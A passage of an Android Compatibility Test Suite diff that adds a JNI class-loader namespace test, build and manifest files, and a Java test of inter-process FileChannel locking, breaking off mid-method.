+    //    - loaderB will load ClassNamespaceB (loading libjninamespaceb)
+    //    - incrementGlobal/getGlobal operate on a static global from libjnicommon
+    //      and each class should get its own view on it.
+    //
+    // This is a test case for 2 different scenarios:
+    //    - loading native libraries in different class loaders
+    //    - loading native libraries in the same class loader
+    // Ideally we would have 2 different tests but JNI doesn't allow loading the same library in
+    // different class loaders. So to keep the number of native libraries manageable we just
+    // re-use the same class loaders for the two tests.
+    public static String runClassLoaderNamespaces() throws Exception {
+        // Test for different class loaders.
+        // Verify that common dependencies get a separate copy in each class loader.
+        // libjnicommon should be loaded twice:
+        // in the namespace for loaderA and the one for loaderB.
+        String apkPath = getSourcePath("android.jni.cts");
+        String nativePath = getNativePath("android.jni.cts");
+        PathClassLoader loaderA = new PathClassLoader(
+                apkPath, nativePath, ClassLoader.getSystemClassLoader());
+        Class<?> testA1Class = loaderA.loadClass("android.jni.cts.ClassNamespaceA1");
+        PathClassLoader loaderB = new PathClassLoader(
+                apkPath, nativePath, ClassLoader.getSystemClassLoader());
+        Class<?> testBClass = loaderB.loadClass("android.jni.cts.ClassNamespaceB");
+
+        int globalA1 = invokeGetGlobal(testA1Class);
+        int globalB = invokeGetGlobal(testBClass);
+        if (globalA1 != 0 || globalB != 0) {
+            return "Expected globals to be 0/0: globalA1=" + globalA1 + " globalB=" + globalB;
+        }
+
+        invokeIncrementGlobal(testA1Class);
+        globalA1 = invokeGetGlobal(testA1Class);
+        globalB = invokeGetGlobal(testBClass);
+        if (globalA1 != 1 || globalB != 0) {
+            return "Expected globals to be 1/0: globalA1=" + globalA1 + " globalB=" + globalB;
+        }
+
+        invokeIncrementGlobal(testBClass);
+        globalA1 = invokeGetGlobal(testA1Class);
+        globalB = invokeGetGlobal(testBClass);
+        if (globalA1 != 1 || globalB != 1) {
+            return "Expected globals to be 1/1: globalA1=" + globalA1 + " globalB=" + globalB;
+        }
+
+        // Test for the same class loaders.
+        // Verify that if we load ClassNamespaceA2 into loaderA we get the same view on the
+        // globals.
+        Class<?> testA2Class = loaderA.loadClass("android.jni.cts.ClassNamespaceA2");
+
+        int globalA2 = invokeGetGlobal(testA2Class);
+        if (globalA1 != 1 || globalA2 !=1) {
+            return "Expected globals to be 1/1: globalA1=" + globalA1 + " globalA2=" + globalA2;
+        }
+
+        invokeIncrementGlobal(testA1Class);
+        globalA1 = invokeGetGlobal(testA1Class);
+        globalA2 = invokeGetGlobal(testA2Class);
+        if (globalA1 != 2 || globalA2 != 2) {
+            return "Expected globals to be 2/2: globalA1=" + globalA1 + " globalA2=" + globalA2;
+        }
+
+        invokeIncrementGlobal(testA2Class);
+        globalA1 = invokeGetGlobal(testA1Class);
+        globalA2 = invokeGetGlobal(testA2Class);
+        if (globalA1 != 3 || globalA2 != 3) {
+            return "Expected globals to be 2/2: globalA1=" + globalA1 + " globalA2=" + globalA2;
+        }
+        // On success we return null.
+        return null;
+    }
+}
+
+class ClassNamespaceA1 {
+    static {
+        System.loadLibrary("jninamespacea1");
+    }
+
+    public static native void incrementGlobal();
+    public static native int getGlobal();
+}
+
+class ClassNamespaceA2 {
+    static {
+        System.loadLibrary("jninamespacea2");
+    }
+
+    public static native void incrementGlobal();
+    public static native int getGlobal();
+}
+
+class ClassNamespaceB {
+    static {
+        System.loadLibrary("jninamespaceb");
+    }
+
+    public static native void incrementGlobal();
+    public static native int getGlobal();
 }
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index 4688846..58a4894 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -26,10 +26,13 @@
 LOCAL_JAVA_LIBRARIES := bouncycastle
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
+        android-support-test \
         core-tests-support \
         ctsdeviceutil \
         ctstestrunner \
-        guava
+        guava \
+        junit \
+        legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
new file mode 100644
index 0000000..d329c9d
--- /dev/null
+++ b/tests/tests/libcorefileio/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorefileio/AndroidManifest.xml b/tests/tests/libcorefileio/AndroidManifest.xml
new file mode 100644
index 0000000..411aa9d
--- /dev/null
+++ b/tests/tests/libcorefileio/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.libcorefileio.cts">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+        <service android:name="android.cts.LockHoldingService"
+                 android:process=":lockHoldingService"
+                 android:permission="android.permission.WRITE_EXTERNAL_STORAGE"
+        />
+        <receiver android:name="android.cts.FileChannelInterProcessLockTest$IntentReceiver">
+
+            <intent-filter>
+                <action android:name="android.cts.CtsLibcoreFileIOTestCases">
+                </action>
+            </intent-filter>
+
+        </receiver>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcorefileio.cts">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
new file mode 100644
index 0000000..9baa713
--- /dev/null
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -0,0 +1,23 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Libcore test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.libcorefileio.cts" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
new file mode 100644
index 0000000..4259e4c
--- /dev/null
+++ b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
@@ -0,0 +1,551 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Environment;
+import android.test.AndroidTestCase;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.channels.FileLock;
+import java.util.concurrent.CountDownLatch;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+@SuppressWarnings("deprecation")
+public class FileChannelInterProcessLockTest extends AndroidTestCase {
+
+    /** The directory where file locks are created */
+    final static String DIR_NAME = "CtsFileIOTest";
+
+    /** The name of the file used when acquiring a lock. */
+    final static String FILE_NAME = "file";
+
+    /** The position in the lock file used when acquiring a region lock. */
+    final static int LOCK_POSITION = 10;
+
+    /** The extent of the lock file locked when acquiring a region lock. */
+    final static int LOCK_SIZE = 10;
+
+    /**
+     * This is the maximum waiting time in seconds for the test to wait for a response from
+     * the service. This provides ample amount of time for the service to receive the request from
+     * the test, then act, and respond back.
+     */
+    final static int MAX_WAIT_TIME = 7;
+
+    @Override
+    public void tearDown() throws Exception {
+        stopService();
+        super.tearDown();
+    }
+
+    /**
+     * java.nio.channels.FileChannel#tryLock()
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if the returned lock should be valid,
+     * {@code false} otherwise.
+     */
+    public void test_tryLock() throws Exception {
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.TRY_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                false /* expectToGetLock */);
+    }
+
+    /**
+     * java.nio.channels.FileChannel#tryLock(long, long, boolean)
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if the returned lock should be valid,
+     * {@code false} otherwise.
+     */
+    public void test_tryLockJJZ_Exclusive() throws Exception {
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                true /* expectToGetLock */);
+
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                true /* expectToGetLock */);
+    }
+
+    /**
+     * java.nio.channels.FileChannel#tryLock(long, long, boolean)
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if the returned lock should be valid,
+     * {@code false} otherwise.
+     */
+    public void test_tryLockJJZ_Shared() throws Exception {
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                true /* expectToGetLock */);
+
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.LOCK,
+                false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                true /* expectToGetLock */);
+    }
+
+    /**
+     * java.nio.channels.FileChannel#lock()
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if it blocks the local thread, {@code false} otherwise.
+     */
+    public void test_lock() throws Exception {
+        checkLockBehavior(LockType.LOCK, LockType.LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                true /* expectToWait */);
+
+        checkLockBehavior(LockType.LOCK, LockType.TRY_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                true /* expectToWait */);
+    }
+
+    /**
+     * java.nio.channels.FileChannel#lock(long, long, boolean)
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if blocks the local thread, {@code false} otherwise.
+     */
+    public void test_lockJJZ_Exclusive() throws Exception {
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.TRY_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                false /* expectToWait */);
+    }
+
+    /**
+     * java.nio.channels.FileChannel#lock(long, long, boolean)
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if blocks the local thread, {@code false} otherwise.
+     */
+    public void test_lockJJZ_Shared() throws Exception {
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_REGION_WITH_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, false /* expectToWait */);
+
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, LockType.TRY_LOCK,
+                true /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, false /* expectToWait */);
+        checkLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                false /* expectToWait */);
+    }
+
+    /**
+     * Checks the behavior of java.nio.Channels.FileChannel#tryLock() and #tryLock(J, J, Z)
+     *
+     * @param localLockType the type of lock to be acquired by the test
+     * @param remoteLockType the type of lock to be acquired by the remote service
+     * @param expectToGetLock {@code true}, if the lock should be acquired even when the
+     *         service holds a {@code remoteLockType} lock, false otherwise.
+     */
+    private void checkTryLockBehavior(LockType localLockType, LockType remoteLockType,
+            boolean expectToGetLock) throws Exception {
+        IntentReceiver.resetReceiverState();
+
+        // Request that the remote lock be obtained.
+        getContext().startService(new Intent(getContext(), LockHoldingService.class)
+                .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType));
+
+        // Wait for a signal that the remote lock is definitely held.
+        assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+        // Try to acquire the local lock in all cases and check whether it could be acquired or
+        // not as expected.
+        if (expectToGetLock) {
+            FileLock fileLock = acquire(localLockType);
+            assertNotNull(fileLock);
+            assertTrue(fileLock.isValid());
+        } else {
+            assertNull(acquire(localLockType));
+        }
+        // Release the remote lock.
+        stopService();
+    }
+
+    /**
+     * Checks the java.nio.channels.FileChannel.lock()/lock(J, J, Z) behavior.
+     *
+     * @param localLockType type of lock to be acquired by the test
+     * @param remoteLockType type of lock to be acquired by the remote service.
+     * @param expectToWait {@code true}, if the local thread must wait for the remote
+     *         service to release the lock, {@code false} otherwise.
+     */
+    private void checkLockBehavior(LockType localLockType, LockType remoteLockType,
+            boolean expectToWait) throws Exception {
+        IntentReceiver.resetReceiverState();
+
+        // The amount of time the remote service should hold lock.
+        long remoteLockHoldTimeMillis = 5000;
+
+        // The amount of time test should get to try to acquire the lock.
+        long sufficientOverlappingTimeInMillis = 2000;
+
+        // This is the allowable delta in the time between the time recorded after the service
+        // released the lock and the time recorded after the test obtained the lock.
+        long lockReleasedAndReacquiredTimeDeltaInMillis = 500;
+
+        // Tell the service to acquire a remote lock.
+        Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
+                .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
+                .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+                .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
+
+        getContext().startService(sendIntent);
+
+        // Wait for the service to hold the lock and notify for the same.
+        assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+        long localLockNotObtainedTime = System.currentTimeMillis();
+
+        // Acquire the lock locally.
+        FileLock fileLock = acquire(localLockType);
+        long localLockObtainedTime = System.currentTimeMillis();
+
+        // Wait until the remote lock has definitely been released.
+        assertTrue(IntentReceiver.lockReleasedLatch.await(MAX_WAIT_TIME, SECONDS));
+
+        Bundle remoteLockReleasedBundle = IntentReceiver.lockReleasedBundle;
+        long remoteLockNotReleasedTime =
+                remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_NOT_YET_RELEASED_TIMESTAMP);
+        long remoteLockReleasedTime =
+                remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_DEFINITELY_RELEASED_TIMESTAMP);
+
+        // We want the test to be notified well before the service releases the lock, so that
+        // we can be sure that it tried obtaining the lock before the service actually released it.
+        // Therefore, a two seconds time interval provides the test to get prepare and try to obtain
+        // the lock. If this fails, it doesn't mean they definitely didn't overlap
+        // but we can't be sure and the test may not be valid. This is why we hold the lock
+        // remotely for a long time compared to the delays we expect for intents to propagate
+        // between processes.
+        assertTrue(remoteLockNotReleasedTime - localLockNotObtainedTime >
+                sufficientOverlappingTimeInMillis);
+
+        if (expectToWait) {
+
+            // The remoteLockReleaseTime is captured after the lock was released by the
+            // service. The localLockObtainedTime is captured after the lock was obtained by this
+            // thread. Therefore, there is a degree of slop inherent in the two times. We assert
+            // that they are "close" to each other, but we cannot assert any ordering.
+            assertTrue(Math.abs(localLockObtainedTime - remoteLockReleasedTime) <
+                    lockReleasedAndReacquiredTimeDeltaInMillis);
+        } else {
+            // The remoteLockNotReleaseTime is captured before the lock was released by the
+            // service. The localLockObtainedTime is captured after the lock was obtained by this
+            // thread. The local thread should be able to get the lock before the remote thread
+            // definitely release it. If this test fails it may not indicate a problem, but it
+            // indicates we cannot be sure the test was successful the local lock attempt and the
+            // remote lock attempt did not overlap.
+            assertTrue(localLockObtainedTime < remoteLockNotReleasedTime);
+        }
+
+        // Asserting if the fileLock is valid.
+        assertTrue(fileLock.isValid());
+        stopService();
+    }
+
+    /**
+     * Requests and waits for the service to stop
+     */
+    void stopService() throws Exception {
+        getContext().stopService(new Intent(getContext(), LockHoldingService.class));
+        assertTrue(IntentReceiver.onStopLatch.await(MAX_WAIT_TIME, SECONDS));
+        deleteDir();
+    }
+
+    enum LockType {
+
+        /** Equivalent to {@code tryLock()} */
+        TRY_LOCK,
+
+        /** Equivalent to  {@code tryLock({@link #LOCK_POSITION}, {@link #LOCK_SIZE}, false)} */
+        LOCK_ON_REGION_WITH_TRY_LOCK,
+
+        /**
+         * Equivalent to  {@code tryLock({@code {@link #LOCK_POSITION} + {@link #LOCK_SIZE}},
+         * {@link #LOCK_SIZE}, false)}
+         */
+        LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+
+        /** Equivalent to  {@code tryLock({@link #LOCK_POSITION}, {@link #LOCK_SIZE}, true)} */
+        SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+
+        /**
+         * Equivalent to  {@code tryLock({@code {@link #LOCK_POSITION} + {@link #LOCK_SIZE}},
+         * {@link #LOCK_SIZE}, true)}
+         */
+        SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+
+        /** Equivalent to  {@code lock()} */
+        LOCK,
+
+        /** Equivalent to  {code lock({@link #LOCK_POSITION}, {@link #LOCK_SIZE}, false)} */
+        LOCK_ON_REGION_WITH_LOCK,
+
+        /**
+         * Equivalent to  {@code lock({@code {@link #LOCK_POSITION} + {@link #LOCK_SIZE}},
+         * {@link #LOCK_SIZE}, false)}
+         */
+        LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+
+        /** Equivalent to  {@code lock({@link #LOCK_POSITION}, {@link #LOCK_SIZE}, true)} */
+        SHARED_LOCK_ON_REGION_WITH_LOCK,
+
+        /**
+         * Equivalent to {@code lock({@code {@link #LOCK_POSITION} + {@link #LOCK_SIZE}},
+         * {@link #LOCK_SIZE}, true)}
+         */
+        SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+    }
+
+    /**
+     * Tries to acquire a lock of {@code lockType} on the file returned by
+     * {@link #createFileInDir()} method.
+     *
+     * @param lockType a {@link LockType} enum.
+     *         Permitted lock types:
+     *         {@link LockType#TRY_LOCK}
+     *         {@link LockType#LOCK_ON_REGION_WITH_TRY_LOCK}
+     *         {@link LockType#LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK}
+     *         {@link LockType#SHARED_LOCK_ON_REGION_WITH_TRY_LOCK}
+     *         {@link LockType#SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK}
+     *         {@link LockType#LOCK}
+     *         {@link LockType#LOCK_ON_REGION_WITH_LOCK}
+     *         {@link LockType#LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK}
+     *         {@link LockType#SHARED_LOCK_ON_REGION_WITH_LOCK}
+     *         {@link LockType#SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK}
+     * @return Returns the lock returned by the lock method.
+     * @throws UnsupportedOperationException
+     *         If the {@code lockType} is of non recognized type.
+     */
+    static FileLock acquire(LockType lockType) throws IOException {
+        File file = createFileInDir();
+        file.createNewFile();
+        switch (lockType) {
+            case TRY_LOCK:
+                return new FileOutputStream(file).getChannel().tryLock();
+            case LOCK_ON_REGION_WITH_TRY_LOCK:
+                return new FileOutputStream(file).getChannel()
+                        .tryLock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+            case LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK:
+                return new FileOutputStream(file).getChannel()
+                        .tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
+            case SHARED_LOCK_ON_REGION_WITH_TRY_LOCK:
+                return new FileInputStream(file).getChannel()
+                        .tryLock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+            case SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK:
+                return new FileInputStream(file).getChannel()
+                        .tryLock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+            case LOCK:
+                return new FileOutputStream(file).getChannel().lock();
+            case LOCK_ON_REGION_WITH_LOCK:
+                return new FileOutputStream(file).getChannel()
+                        .lock(LOCK_POSITION, LOCK_SIZE, false /*isShared*/);
+            case LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK:
+                return new FileOutputStream(file).getChannel()
+                        .lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, false /*isShared*/);
